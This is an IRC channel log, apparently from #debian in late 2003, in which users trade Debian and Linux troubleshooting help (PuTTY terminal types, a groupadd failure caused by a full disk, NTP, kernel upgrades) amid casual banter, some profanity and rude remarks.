| 18:48.00 | greycat | jholt: I think it changed in 2.6 |
| 18:48.05 | tommyj | briankeys: oh :( well, what's yhe problem? |
| 18:48.08 | tommyj | jholt: nope |
| 18:48.36 | intx | briankey: try changing the terminal parameter that putty passes on to the server |
| 18:48.37 | amphi | briankeys: you might find installing ncurses-term, I think it is |
| 18:48.38 | tommyj | jholt: not in 2.4 kernels it doesn't, but don't know about later versions. |
| 18:48.40 | the1 | briankeys: I've had trouble running curses apps on an IRIX box through an ssh client running on debian....but never putty client, debian server. |
| 18:48.57 | paulswm | briankeys: I use putty in XP, never seen that beofre, not sure what version I'm using though |
| 18:49.04 | amphi | briankeys: putty sets the wrong TERM var, at least in some versions, that messes up mcurses |
| 18:49.15 | intx | bingo |
| 18:49.24 | greycat | putty has always set "xterm" for me |
| 18:49.26 | briankeys | hmm |
| 18:49.30 | Tice | greetings all, I've got a small prob with sarge...: on boot it shows me the graphical login screen, but it doesn't show any text (font missing?) also programs like bbconf (i use blackbox) show the same problem |
| 18:49.31 | greycat | maybe I've never used the new versions |
| 18:49.54 | greycat | Tice: did you install x-window-system-core? |
| 18:49.58 | intx | xterm doesn't work with ncurses very well.. ever tried menuconfig? |
| 18:50.03 | ToreSB | paulswm: Melly Chlastmass! http://www.engrish.com/recent_detail.php?imagename=merry-chrastmas.jpg&category=Signs/Posters&date=2003-12-24 |
| 18:50.08 | briankeys | intx, exactly |
| 18:50.14 | Tice | greycat: yes |
| 18:50.16 | amphi | greycat: yeah, that's what I've seen; setting "putty" made ncurses progs work ok |
| 18:50.17 | greycat | intx: "xterm" means a lot of different almost-compatible terminal emulators |
| 18:50.24 | greycat | intx: that's why ncurses-term has xterm-old, etc. |
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| 18:50.47 | briankeys | installing ncurses-term now |
| 18:50.49 | paulswm | ToreSB: you have too much time on your hands :) |
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| 18:50.59 | soleil | hmm |
| 18:51.05 | ToreSB | paulswm: I need to do SOMETHING :) |
| 18:51.09 | amphi | briankeys: IIRC putty has a config option to set the TERM var |
| 18:51.18 | paulswm | ToreSB: punch some paper tape, heh |
| 18:51.19 | greycat | does red hat still link vim with libtermcap? or did they **FINALLY** switch to curses? |
| 18:51.37 | simonrvn | hmmm. weird that 2.6's afs is r/o, ans 2.4's external modules can be either |
| 18:51.52 | briankeys | amphi, "Answerback to ^E: puTTY?" |
| 18:51.58 | simonrvn | oh well. BRB |
| 18:52.01 | soleil | Enverex, you used these cds? |
| 18:52.01 | o-o | greycat: redhat? fedora? |
| 18:52.26 | hax | does anyone here have one of those rio mp3 players working in linux? |
| 18:52.28 | greycat | o-o: not important; just a stream of consciousness thing brought on by discussions of $TERM |
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| 18:52.34 | paulswm | ToreSB: http://www.distrowatch.com/dwres.php?resource=review-winxp |
| 18:52.39 | amphi | briankeys: no, I think it was 'terminal type' or some such thing - it's been a while since I used putty |
| 18:53.11 | o-o | grecat: have you read William James or where does that stream of consciousness thing come from? |
| 18:53.20 | lazarus | okay, anyone had this problem with adduser in woody? |
| 18:53.22 | lazarus | groupadd: unable to lock group file |
| 18:53.22 | lazarus | adduser: `groupadd -g 1008 foo' returned error code 10. Aborting. |
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| 18:53.39 | lazarus | knoppix: /topic |
| 18:53.40 | briankeys | omg |
| 18:53.45 | briankeys | ncurses-term fixed it :) |
| 18:53.54 | greycat | o-o: RH pisses me off because even when I make rxvt.ti and move it to the legacy server and run "infocmp -v rxvt.ti" on the legacy server, I **STILL** get a 2-second delay when firing up vim on RH because it doesn't read the terminfo DB at all; it uses termcap. |
| 18:54.13 | greycat | so I get to sit and wait while it complains that it doesn't know what rxvt is |
| 18:54.17 | lazarus | why would groupadd be unable to lock /etc/group ? |
| 18:54.27 | greycat | lazarus: lack of setgid/setuid perms? |
| 18:54.36 | lazarus | greycat: ? |
| 18:54.42 | greycat | or you're not root? |
| 18:54.45 | lazarus | greycat: -rw-r--r-- 1 root root 706 Dec 14 2002 /etc/group |
| 18:54.56 | lazarus | greycat: as root (and running adduser foo) |
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| 18:55.06 | greycat | dunno; I always use vigr |
| 18:55.21 | ToreSB | paulswm: Brahahhahahaha |
| 18:55.22 | lazarus | greycat: i'm running adduer, that's the issuee |
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| 18:55.41 | Enverex | Yo, someone care to help? |
| 18:55.47 | greycat | ~tell Enverex about ask |
| 18:55.54 | greycat | !tell Enverex about ask |
| 18:55.54 | lazarus | greycat: but due to the nature of this problem, it caauses concern |
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| 18:56.00 | greycat | dpkg, kill apt |
| 18:56.13 | lorax | greycat: what kernel version you running? |
| 18:56.15 | the1 | !tell the1 about tell |
| 18:56.20 | El | I wanna know if debian supports intels video chipset 830m |
| 18:56.20 | greycat | Linux griffon 2.4.23 #2 Mon Dec 1 20:32:42 EST 2003 i686 GNU/Linux |
| 18:56.29 | Enverex | grey, if people actually replied, then I wouldn't need to say that would I |
| 18:56.33 | greycat | El: sounds like a question for #xfree86 |
| 18:56.33 | lazarus | El: nothing to do with distro, that's linux or not |
| 18:56.35 | Kawfee | hello ladies |
| 18:56.36 | lorax | is anyone running 2.6? |
| 18:56.39 | El | ok |
| 18:56.45 | lazarus | El: Hardware-HOWTO is at tldp.org |
| 18:56.46 | the1 | lorax: someone |
| 18:56.47 | oven | lorax - yes, I am. |
| 18:56.56 | streuner | lorax: ask |
| 18:57.03 | lorax | oven : how do you like? |
| 18:57.09 | El | what version of xfree86 runs debian 3.0 |
| 18:57.10 | intx | is anyone here running kernel 2.6 on woody/stable? |
| 18:57.14 | Enverex | I have the netinst ISO, and I need to boot a custom kernel, where do I need to put the bzImage file I made? |
| 18:57.18 | oven | lorax - I haven't noticed much yet |
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| 18:57.22 | streuner | El: 4.1 |
| 18:57.23 | lazarus | ROOOOOOOOOOOOOOOOOOOOOT |
| 18:57.32 | lorax | streuner: you like? |
| 18:57.41 | oven | lorax - although I like that alsa drivers are now included with the kernel source |
| 18:57.44 | greycat | engie: /msg dpkg custom netinst |
| 18:58.06 | Enverex | I take it that was for me? |
| 18:58.14 | greycat | yeah, sorry |
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| 18:58.37 | lorax | oven: i am attempting to config this kernel, but am unsure about what to enable |
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| 18:58.44 | El | is debian a good distro for newbies?? |
| 18:58.50 | oven | lorax - heh, what in particular? |
| 18:58.53 | oven | El - no |
| 18:58.55 | t35t0r | how many of the debian CD's do i need for a basic install X/gnome/kde/sshd ? |
| 18:58.56 | Crell | Depends how techincal the newbie. |
| 18:58.57 | muncc2beo | El - no |
| 18:59.03 | lazarus | lorax: #linux-kernel |
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| 18:59.13 | Crell | t35t0r: If you have a net connection available, just the first one. |
| 18:59.15 | lorax | oven : general setup > .config |
| 18:59.18 | lazarus | t35t0r: 17 |
| 18:59.21 | lorax | ok lazarus |
| 18:59.27 | lazarus | t35t0r: did you even READ www.debian.org? |
| 18:59.28 | oven | El - try redhat first, then try debian when you realize the shortcomings of redhat |
| 18:59.28 | Crell | I've never used moe than the first CD to install Debian. |
| 18:59.35 | gothtec | Argh! I've tried three different dosemu.conf files from people who do have it up and running, and all that happens when I run doom in xdosemu is "/usr/bin/xdosemu: line 193: 6893 Segmentation fault $BINARY $MAINARGS "${par[@]}" 2>$LOG". When I try it in dosemu, it just hangs. Help?! |
| 18:59.40 | El | thx oven |
| 18:59.41 | Crell | Not RH. Mandrake for first timers. |
| 18:59.41 | intx | ee. redhat. |
| 18:59.48 | t35t0r | lazarus: yes and i don't want to use jigdo |
| 18:59.52 | oven | Crell - perhaps |
| 18:59.52 | Crell | RH isn't a user-end distro anymore, remember? |
| 18:59.58 | Enverex | Been there, done that. It's completely useless, I dont have Linux, that is what I am trying to install |
| 18:59.59 | lazarus | Crell: the rh thing wasn't serious, those rpm distros are disasters |
| 19:00.03 | paulswm | El: if you're a Unix newbie, no, if you know a Unix and you're just a Linux newbie, then it's OK |
| 19:00.04 | oven | El - listen to crell :) |
| 19:00.09 | greycat | Crell: by RH we mean "the last thing that Red Hat released before they became crap" |
| 19:00.13 | lazarus | t35t0r: you won't follow docs, ,yet youo want US to help? |
| 19:00.15 | oven | El - try mandrake, then debian after a while :) |
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| 19:00.25 | Enverex | The solutions on that page require to you have Linux to install linux |
| 19:00.26 | intx | for those of you who run a mail server, what do you use for mail handling? imap/pop3/squirrelmail...? |
| 19:00.26 | btwotch | Where can I download the latest version of libdvdcss.deb? |
| 19:00.34 | greycat | btwotch: www.apt-get.org |
| 19:00.36 | lazarus | intx: postfix |
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| 19:00.42 | lazarus | intx: postfix-tls actually |
| 19:00.43 | t35t0r | lazarus: docs for what? there were 6 cd's at rutgers mirror i just want to know how many of the 600mb i need to d/ld |
| 19:00.46 | intx | lazarus: and mutt? |
| 19:00.49 | greycat | intx: I use qmail + courier-imap |
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| 19:00.51 | streuner | El: i see no reason, why not use debian as newbie :-) |
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| 19:00.54 | lazarus | t35t0r: READ the fscking docs! |
| 19:01.04 | lazarus | intx: sure |
| 19:01.18 | paulswm | Oh-oh, thar she blows |
| 19:01.22 | lazarus | t35t0r: www.debian.org |
| 19:01.22 | t35t0r | lazarus: tell the web maintainers to make a big sign saying first cd only needed for those with ADD |
| 19:01.32 | lazarus | t35t0r: READ www.debian.org |
| 19:01.37 | t35t0r | hehe |
| 19:01.45 | lazarus | t35t0r: this is not humour |
| 19:01.53 | greycat | lazarus: to be fair, the install guide *is* very convoluted. |
| 19:01.57 | o-o | t35t0r: the first CD is all you need. I really do not know why they would put any other CDs up at all. |
| 19:01.57 | briankeys | #debian is serious business ;) |
| 19:02.09 | t35t0r | o-o: it's quite confusing |
| 19:02.13 | paulswm | greycat: no sh*t |
| 19:02.22 | streuner | El: soon or later you have to read man-pages and configure stuff from hand, if you to lame and lazy to read you should prolly NOT use linux at all. |
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| 19:02.40 | lazarus | t35t0r: what streuner said to El |
| 19:02.52 | Enverex | Does anyone know how to replace the kernel on the Woody netinst ISO? |
| 19:02.59 | lazarus | dpkg: nickometer t35t0r |
| 19:03.00 | dpkg | 't35t0r' is 99.810% lame, lazarus |
| 19:03.03 | greycat | Enverex: didn't that custom netinst URL work for you? |
| 19:03.06 | stephen_ | Hi. I've tried to make-kpkg on a 2.6 kernel, it seemed to work but no .deb appeared. Any ideas? |
| 19:03.06 | Enverex | WITHOUT linux |
| 19:03.13 | o-o | t35t0r: you can download my debian derived easy installable livecd if you want from http://telemetrybox.org |
| 19:03.16 | Enverex | That page requires linux |
| 19:03.20 | greycat | well, duh. |
| 19:03.37 | greycat | Enverex: did you at least try the sample "custom ISO" that he made? |
| 19:03.42 | Enverex | Well I dont fucking have linux installed do I, thats the whole god damn PROBLEM |
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| 19:03.57 | briankeys | Enverex , damn. |
| 19:03.58 | Enverex | Already tried it |
| 19:04.00 | paulswm | oh boy, this is getting good |
| 19:04.05 | oven | Enverex - tried knoppix? |
| 19:04.09 | El | thx streuner, im gonna check mandrake and debian! or RH and debian? |
| 19:04.13 | t35t0r | lazarus: found it http://www.debian.org/CD/faq/#which-cd |
| 19:04.17 | Tice | greycat: any other ideas? |
| 19:04.20 | o-o | Enverex: you can use a linux system that boots fully from cd. |
| 19:04.22 | t35t0r | lazarus: but still not a very good description... |
| 19:04.23 | greycat | Enverex: his 2.4.23 ISO didn't work either? What the hell hardware do you have? |
| 19:04.27 | streuner | El: debian - and iam serious. |
| 19:04.28 | lazarus | t35t0r: READ www.debian.org <-- now you see |
| 19:04.36 | btwotch | Where can I get the Debian-Base System for a Psion? |
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| 19:04.46 | El | streuner - ok |
| 19:04.48 | Enverex | Highpoint 372 RAID controller, standard hardware, and none of these shitty bootdisks support it |
| 19:04.49 | o-o | btwotch: rotfl |
| 19:04.55 | t35t0r | lazarus: do i have control over which FS type i want to use or is it gonna force me to EXT2/3 like gayhat? |
| 19:05.01 | lazarus | t35t0r: READ |
| 19:05.09 | greycat | Enverex: and you don't have a $30 pentium box lying around to put Linux on? |
| 19:05.11 | o-o | Enverex: standard? Hehehe. |
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| 19:05.17 | t35t0r | bleh i i guess i'll just find out... |
| 19:05.21 | muncc2beo | What's the command to list packages installed on my system? |
| 19:05.21 | lazarus | t35t0r: installation is possible with reiserfs only, which is what i always do |
| 19:05.22 | Enverex | Yeah, loads of boards have it |
| 19:05.26 | greycat | muncc2beo: dpkg -l |
| 19:05.29 | t35t0r | ahh goodie |
| 19:05.31 | muncc2beo | greycat: thanks |
| 19:05.31 | o-o | Enverex: start with a live CD boot.... |
| 19:05.32 | btwotch | o-o: What do you mean with this? |
| 19:05.33 | lazarus | t35t0r: but only if you READ |
| 19:05.36 | Enverex | I had an old box, and the Motherboard has gone walkies |
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| 19:05.42 | drh | Hey , ive got an hp pavilion a300n , that has a built in Intel Extreme graphics card... i cant figure out for the LIFE OF ME ,.. how to get X to work.,. what server am i supose to you? |
| 19:05.43 | Enverex | o-o: Doesn't work |
| 19:05.46 | o-o | psion and linux is rather "experimental" AFAIK. |
| 19:05.50 | Enverex | Kernel Panic |
| 19:05.59 | t35t0r | drh: try VESA module |
| 19:06.02 | btwotch | o-o: And...? |
| 19:06.04 | Enverex | They all KP, thats all any of them do |
| 19:06.05 | o-o | Enverex: at what point in the boot process? |
| 19:06.10 | t35t0r | drh: agpgart + dri |
| 19:06.22 | o-o | btwotch: build your own if you need to . See debootstrap |
| 19:06.23 | Enverex | Directly after it detects hda hdb and hde |
| 19:06.30 | Enverex | then it just KPs |
| 19:06.38 | drh | t36t0r ? agpgart + dri? |
| 19:06.46 | o-o | Enverex: switch off the hd detection then.... |
| 19:06.49 | drh | is VESA a server i can pick from in X -configure? |
| 19:06.51 | lazarus | -rw-r--r-- 1 root root 706 Dec 14 2002 /etc/group |
| 19:06.52 | lazarus | -rw-r----- 1 root shadow 579 Dec 14 2002 /etc/gshadow |
| 19:07.02 | t35t0r | drh: yeah should be |
| 19:07.03 | Enverex | what command would that be then? |
| 19:07.06 | drh | word |
| 19:07.12 | lazarus | what other perms does groupadd (called via adduser) need than those above? |
| 19:07.16 | o-o | Enverex: linux ide=noprobe I believe. |
| 19:07.22 | lorax | no one is around in linux-kernel |
| 19:07.25 | lorax | :( |
| 19:07.27 | o-o | gotta go kids... bbl |
| 19:07.35 | Korn | tc o-o |
| 19:07.35 | drh | What is agpgart + dri? ;[ |
| 19:07.37 | Enverex | laters |
| 19:07.41 | lazarus | lorax: ask, then be patient |
| 19:07.44 | greycat | lazarus: there's the BTS, and the source. |
| 19:07.49 | Tice | all: I've got a small prob with sarge...: on boot it shows me the graphical login screen, but it doesn't show any text (font missing?) also programs like bbconf (i use blackbox) show the same problem |
| 19:07.52 | coolnewbie | why do these 3dgames installed with apt-get fail to work |
| 19:07.52 | lorax | what is cmd640? do i need it? i have p4 2.4gig processor |
| 19:08.01 | greycat | lorax: it's a chipset |
| 19:08.02 | lazarus | greycat: no, neither is appropriate here |
| 19:08.06 | drh | cmd64 emulation? |
| 19:08.11 | greycat | lazarus: you're on woody, then? |
| 19:08.16 | lazarus | greycat: i'm asking about perms, and the man page for groupadd doesn't refer |
| 19:08.21 | drh | im on woody hEH., and im a cluebie hi |
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| 19:08.24 | lazarus | greycat: that box is, yes |
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| 19:08.40 | t35t0r | wohoo 2MB/s |
| 19:08.45 | greycat | lazarus: perhaps something else already has a lock? |
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| 19:08.54 | TimRiker | coolnewbie: no glx? |
| 19:08.56 | lazarus | greycat: there seems to be some scary implications involved :( |
| 19:09.22 | lazarus | greycat: w shows one user, me, as root :( |
| 19:09.33 | TimRiker | coolnewbie: show me: glxinfo | grep renderer |
| 19:09.47 | Shadur | Yargh, tc-filters manpage is still unwritten... Anyone know the filter key to match against a marked packet again? tc filter add mark doesn't seem to be it. |
| 19:09.51 | greycat | lazarus: lsof show anything? |
| 19:09.55 | lazarus | greycat: what else should (could?) have a lock? |
| 19:10.10 | quant | when i try and remove courier-imap-ssl i get this error: ERR: config file missing |
| 19:10.10 | quant | dpkg: error processing courier-imap-ssl (--purge): |
| 19:10.10 | dpkg | bugger all, i dunno, quant |
| 19:10.35 | ToreSB | paulswm: Sometimes I've got a knack for timing - - |
| 19:10.56 | ToreSB | paulswm: A few months ago I was arguing with the school BOFH about stability |
| 19:10.57 | lazarus | greycat: not agasint /etc/gshadow or /etc/group or /etc/group- |
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| 19:11.14 | drh | Im running x 2.1.4 and i dont see a "VESA" in config... PciInfo.h file isnt found when i try startx .. it errors out.. ive got an intergrated Intel Extreme video card thats all i know about it... im about to shoot myself if i cant figure out how to get X running heh |
| 19:11.29 | greycat | lazarus: you could try strace'ing it, but if that doesn't clear things up, it's UTSL time |
| 19:11.34 | ToreSB | paulswm: Just as he was almost shouting "THE NETWORK IS PLENTY STABLE!" one by one - around one second apart - the clients started BSOD'ing |
| 19:11.45 | t35t0r | my 2.4.22 systems keep falling back 1 min each day what's going on they are brand new mobo/systems |
| 19:11.50 | lazarus | greycat: would you consider this to be a rather bad implication as well? |
| 19:11.53 | greycat | t35t0r: use ntp |
| 19:12.00 | greycat | lazarus: not without knowing the cause |
| 19:12.02 | paulswm | ToreSB: I bet that felt pretty good |
| 19:12.11 | lazarus | greycat: there are no visible causes |
| 19:12.27 | t35t0r | greycat: i have my own script which reads http://tycho.usno.navy.mil/cgi-bin/timer.pl |
| 19:12.31 | lazarus | greycat: leaving only invisible causes, about something on this order, implies something evil |
| 19:12.41 | intx | has anyone managed to make a kernel-image package on debian woody(stable) for kernel 2.6? |
| 19:12.44 | greycat | t35t0r: why? just use NTP like everyone else. |
| 19:12.44 | ToreSB | paulswm: Ohhh yeah baby ;) |
| 19:12.51 | lazarus | greycat: or can you thiink of some benign reason? |
| 19:12.53 | t35t0r | greycat: less bloat the better |
| 19:12.56 | greycat | lazarus: no idea |
| 19:12.59 | paulswm | ToreSB: hahaha |
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| 19:13.15 | greycat | t35t0r: firing up a perl compiler every so often seems to qualify as bloat |
| 19:13.25 | ToreSB | paulswm: Just like that school trip a few years ago - friend and I was talking about how much the weather sucked and stuff |
| 19:13.39 | ToreSB | and the teacher turns around, this huge waterfall behind her |
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| 19:13.59 | ToreSB | and she goes like "Why can't you just shut up and enjoy this beautiful, untouched nature!" |
| 19:14.18 | t35t0r | greycat: it's fast enough for me ...if i knew enough C i would do it that way.. |
| 19:14.18 | ToreSB | And with sitcom timing... a huge washing machine comes tumbling down the waterfall |
| 19:14.18 | coolnewbie | showme:glxinfo | grep render |
| 19:14.23 | ToreSB | bouncing off rocks |
| 19:14.33 | ToreSB | and just floating past us |
| 19:14.37 | t35t0r | greycat: i can only imagine parsing in c is horrendous |
| 19:14.52 | greycat | t35t0r: you're a very odd person. |
| 19:14.58 | t35t0r | greycat: thanks :>> |
| 19:15.06 | lazarus | dpkg: nickometer t35t0r |
| 19:15.07 | dpkg | 't35t0r' is 99.810% lame, lazarus |
| 19:15.09 | ToreSB | paulswm: I was like "...o...m...g..." |
| 19:15.22 | t35t0r | lazarus: if it makes you feel better :> |
| 19:15.24 | ToreSB | paulswm: And the teacher was like "stfu". |
| 19:15.37 | ToreSB | paulswm: And I was like ^_^ |
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| 19:15.49 | paulswm | ToreSB: that is hilarious, absolutely hilarious |
| 19:16.14 | paulswm | ToreSB: the things you see when you don't have a film crew handy |
| 19:16.22 | ToreSB | paulswm: Exactly :) |
| 19:16.35 | oven | t35t0r - don't reinvent the wheel. Use ntp. It is more accurate, it has been around for a long while, the time servers are usually atomic clocks, it compensates for network latency, it can do an average of several samples, it is an open standard, the programs have been thoroughly tested, and you don't have to write it yourself. |
| 19:16.44 | oven | t35t0r - in short; don't be a fool. |
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| 19:16.49 | paddy | hi |
| 19:16.49 | ToreSB | paulswm: I did have parts of a CCD in my backpack but I was 10 years and I didn't know how to use one :) |
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| 19:17.15 | ToreSB | paddy: Where's Selma? |
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| 19:17.39 | btwotch | Where can I find a 16MB-image for linux on a psion? |
| 19:17.42 | lazarus | greycat: -rw-r--r-- 1 root root 0 Dec 27 19:17 strace.output |
| 19:17.45 | paddy | ToreSB, she is in bed and sleeps. i gave her a hard time... |
| 19:17.57 | greycat | lazarus: disk full? |
| 19:18.00 | ToreSB | paddy: |
| 19:18.03 | ToreSB | paddy: Ew. |
| 19:18.04 | lazarus | greycat: strace adduser foo > strace.output |
| 19:18.04 | paulswm | t35t0r: my suggestion: apt-get install chrony |
| 19:18.07 | karsten | btwotch: GIYF: linuxhandhelds |
| 19:18.16 | greycat | lazarus: strace -o strace.output -f adduser foo |
| 19:18.29 | lazarus | greycat: strace doesn''t use stdout? |
| 19:18.31 | t35t0r | this is the problem with modern computing ..installing bloat when the problem is hardware related |
| 19:18.34 | karsten | btwotch: My question is: where you got a psion these days? |
| 19:18.37 | greycat | lazarus: the -f is critical here |
| 19:18.38 | karsten | lazarus: No, stderr. |
| 19:18.42 | t35t0r | patch this and ducttape that my original question is why should it slow down anyways |
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| 19:18.54 | greycat | t35t0r: because all computer clocks suck ass. |
| 19:18.55 | t35t0r | my $5 timex wristwatch keeps better time |
| 19:18.57 | oven | t35t0r - because the hardware clock is cheap |
| 19:19.01 | t35t0r | why is that? |
| 19:19.06 | lazarus | greycat: # strace -o strace.output -f adduser foo |
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| 19:19.08 | t35t0r | can't put a quartz in there or something? |
| 19:19.10 | quant | i am using apt-get to remove courier-imap-ssl, but i get errors all the time "ERR: config file missing" and i can't fix it. any clues? |
| 19:19.14 | lazarus | greycat: -rw-r--r-- 1 root root 0 Dec 27 19:18 strace.output |
| 19:19.25 | btwotch | karsten: I got it for 100 Euros in a third-hand-shop. |
| 19:19.27 | soleil | I'm having a problem with this miniCD; it keeps asking me for a floppy with the root image on it ... is there any way to tell it to use a root image on the cd? |
| 19:19.27 | greycat | lazarus: is the disk full? |
| 19:19.42 | lazarus | greycat: ah crap /dev/hda5 310367 310367 0 100% / |
| 19:19.57 | oven | t35t0r - did I mention that ntp clients can slew the clock so that it doesn't take a (confusing) step when it's updated? |
| 19:20.19 | karsten | btwotch: Cool. Psion's pretty dead now isn't it? |
| 19:20.20 | greycat | lazarus: that may also account for the lock failures, if it's using dot-locking |
| 19:20.29 | soleil | /dev/hda5 39G 29G 7.9G 79% /home |
| 19:20.34 | karsten | btwotch: I always liked the form-factor and clamshell design. |
| 19:20.34 | btwotch | Can somebody help me with ogle? I installed a new version, but it don't play my DVDs, too. |
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| 19:20.47 | oven | t35t0r - and as for bloating: The program is 100 kB. |
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| 19:21.03 | btwotch | karsten: It is dead, but 100 Euros..... |
| 19:21.24 | Blood_Brother | someone knows how i can recover one reiserfs partition that was formated? |
| 19:21.24 | lazarus | greycat: yeah |
| 19:21.31 | Blood_Brother | i lost all my files |
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| 19:21.35 | Blood_Brother | :/ |
| 19:21.40 | greycat | !unix lessons |
| 19:21.41 | dpkg | hmm... unix lessons is (1) Don't change the permissions, (2) back up your data, (3) keep it simple, stupid, (4) read the fscking manual, (5) don't fsck with package management, (6) don't type anything you don't understand, (7) always have a boot floppy or CD, (8) read your log files, (9) the FIRST error is the one that counts, (10) don't leave your root shell until you TEST your changes, (11) don't be root when you don't have to be |
| 19:21.47 | Blood_Brother | sorry for my bad english |
| 19:21.48 | karsten | btwotch: Yeah. Just that I went looking to buy something and found I couldna. |
| 19:21.54 | ashinara | dpkg: ~find kernel 2.6 |
| 19:21.54 | dpkg | ashinara: i don't know |
| 19:22.01 | lazarus | greycat: /var/log/ntpstats had 2002 files in it :( |
| 19:22.06 | lazarus | greycat: /var/log/ntpstats had from-2002 files in it :( |
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| 19:22.19 | t35t0r | oven: my script is 629 bytes |
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| 19:22.33 | btwotch | Can somebody help me with ogle? Message is in #flood (8-lines)!! |
| 19:22.37 | t35t0r | it doesn't have to sit in the background and open ports unnecessarily |
| 19:22.46 | oven | t35t0r - and it can't do any of the nice things I mentioned :) |
| 19:22.54 | Blood_Brother | sorry for my bad english |
| 19:22.57 | Blood_Brother | someone knows how i can recover one reiserfs partition that was formated? |
| 19:22.57 | oven | t35t0r - and ntpdate doesn't open any _server_ ports. |
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| 19:23.30 | oven | t35t0r - it does, however, open a _client_ port to access the ntp server, but I consider that quite safe. |
| 19:23.32 | greycat | Blood_Brother: restore your system backups |
| 19:23.51 | paulswm | heh, greycat said "system backups" |
| 19:24.17 | Blood_Brother | greycat, i dont have, this is my personal computer |
| 19:24.20 | Blood_Brother | :/ |
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| 19:24.29 | lazarus | greycat: much better :) |
| 19:24.31 | greycat | Blood_Brother: unix lesson #2 |
| 19:24.32 | lazarus | greycat: /dev/hda5 310367 254436 39906 87% / |
| 19:24.33 | oven | Blood_Brother - you could send it to a data recovery company |
| 19:24.44 | btwotch | Can somebody help me with ogle? Message is in #flood (8-lines)!! |
| 19:24.50 | oven | Blood_Brother - they charge you $500 to shake your hand, though. |
| 19:24.52 | greycat | !tell btwotch about repeat |
| 19:24.59 | Blood_Brother | greycat, dont have any other solution? |
| 19:25.30 | greycat | dpkg, repeat =~ s/ask smart questions/ask about "smart questions"/ |
| 19:25.30 | dpkg | greycat: OK |
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| 19:25.56 | lorax | greycat : when my system boots it says something like bus running at 33mhz, i thought mine was 533? |
| 19:26.07 | greycat | lorax: bus != CPU |
| 19:26.31 | lorax | ?? |
| 19:26.50 | greycat | the cpu may be 533 MHz, but your PCI bus is not. |
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| 19:27.26 | bleh | frontbus could be 533 |
| 19:27.30 | bleh | for p4 |
| 19:27.31 | paddy | ist der pci bus nicht IMMER 33 MHz? |
| 19:27.31 | bleh | non ht |
| 19:27.33 | oven | greycat - there's the pci bus, the isa bus, the front side bus (fsb), usb bus, scsi bus, etc. |
| 19:27.40 | paddy | ops, sorry for the wrong language |
| 19:27.48 | bleh | halt die klappe |
| 19:27.56 | oven | paddy - there is a 66 MHz pci bus as well |
| 19:28.08 | paddy | oven, hm.. |
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| 19:28.12 | lorax | greycat: is said something about changing it to 133 or something |
| 19:28.22 | greycat | lorax: to rephrase, "something like bus running at 33mhz" is not enough info. Be specific. |
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| 19:28.42 | lorax | greycat : i am looking in suslog for it |
| 19:28.57 | greycat | lorax: /var/log/dmesg or /var/log/kern* |
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| 19:30.42 | djw | why when I try and install a new kernel that every thing that has been made into a module gives a depmod -a error |
| 19:30.57 | greycat | djw: *sigh* |
| 19:31.15 | greycat | djw: I don't suppose you consider the kernel version or the Debian release version to be relevant info? |
| 19:31.19 | djw | just what I'm thinking, but then you're sighing, so now I'm worrying..... |
| 19:31.31 | briankeys | hmm.. |
| 19:31.38 | djw | greycat: I'm a little confused |
| 19:31.48 | greycat | djw: what version of Debian? What version of the kernel? |
| 19:31.48 | lorax | greycat: saus ide : assumiong 33mhz system bus speed for pio modes; overrife with pcibus=XX |
| 19:31.52 | briankeys | so, who here, has any ncurses based program working under any SSH connection? |
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| 19:32.16 | greycat | briankeys: your PNG looked like it was working fine to me. |
| 19:32.26 | briankeys | it was not working fine :) |
| 19:32.30 | fflush | briankeys, everyone? |
| 19:32.33 | djw | greycat: ah sorry, Debian Woody, currently running a 2.4.18 kernel, and I've just done dpkg -i kernel-image-2.4.22_custom.deb |
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| 19:32.36 | briankeys | i just had it working, then i reconnected, and its back to the same old crap. |
| 19:33.15 | greycat | djw: ok, then it's not a module-init-tools issue (not 2.6.x). Did you reboot to the new kernel? |
| 19:33.15 | djw | greycat: then I get lots of lines in the form of depmod: *** Unresolved symbols in /lib/modules/2.4.22/kernel/* |
| 19:33.15 | briankeys | fflush, see http://post.briankeys.net/putty2.PNG |
| 19:33.20 | djw | greycat: no, this is whilst installing before I reboot |
| 19:33.51 | greycat | djw: perhaps your configuration is bad. Too many things in it? |
| 19:33.56 | fflush | seems fine to me |
| 19:33.58 | lorax | greycat: says ide : assuming 33mhz system bus speed for pio modes; override with pcibus=XX |
| 19:33.59 | djw | I do not understand it, and google hasn't helped :( |
| 19:34.14 | djw | greycat: is there a limit to the number of modules you can have? |
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| 19:34.22 | greycat | briankeys: can you be more specific about what the actual problem is? |
| 19:34.28 | legolas | hello people |
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| 19:34.47 | djw | greycat: I'll prod it some more |
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| 19:34.52 | legolas | how do I reconfigure a package by getting the questions qasked again? |
| 19:35.00 | greycat | djw: no, but the more things in the .config, the more likely you will have broken module dependencies. Linux's menuconfig is NOT INTELLIGENT. It will (and quite often *does*, to me) produce broken .configs. |
| 19:35.01 | briankeys | greycat, the differnce between how actually hooked up with keyboard and monitor to the box, and on the console there, to the tons of black space via SSH |
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| 19:35.18 | legolas | I need to reconfigure my MTA, but dp-kg-reconfigure jsut works for some tiem without asking anything. I want to get the dialog questions backa gain |
| 19:35.23 | greycat | legolas: dpkg-reconfigure <pkgname> |
| 19:35.28 | djw | greycat: ah, interesting that could explain a lot |
| 19:35.32 | greycat | legolas: but if your MTA is exim3, it's "eximconfig" |
| 19:35.36 | streuner | legolas: eximconfig |
| 19:35.45 | legolas | ah, I reconfigured "exim" |
| 19:35.56 | greycat | legolas: exim in woody doesn't use debconf yet |
| 19:35.56 | gothtec | Argh! I've tried three different dosemu.conf files from people who do have it up and running, and all that happens when I run doom in xdosemu is "/usr/bin/xdosemu: line 193: 6893 Segmentation fault $BINARY $MAINARGS "${par[@]}" 2>$LOG". When I try it in dosemu, it just hangs. Help?! I am going to try and use this for all my old dos games, so please dont tell me to get the linux binary. They dont exist for all my games. |
| 19:36.35 | greycat | briankeys: so the only problem is the unaesthetic use of colors in certain areas? |
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| 19:37.07 | briankeys | greycat, pretty much. |
| 19:37.09 | colde89 | cold not install scanner , is fold via lsusb but cold not install him for sane (no devices availible) any idea ?? |
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| 19:37.32 | glam | #debian |
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| 19:38.33 | glam | hey can i resize a partition that is ext2 and is my first primary partition so that i moe the current installation to the 2nd half of the disk and the first of the disk i can make another partion |
| 19:38.35 | djw | greycat: have you got any pointers on checking broken .config files? |
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| 19:38.49 | gbay | a have a piece of software that I was only able to aquire as an rpm. I'd like to install it but don't know how to, I've never used red hat. could anyone be of assistance? |
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| 19:39.06 | gothtec | glam: you can, but do make a backup. last time I tried, it totally fucked up. use "parted", btw |
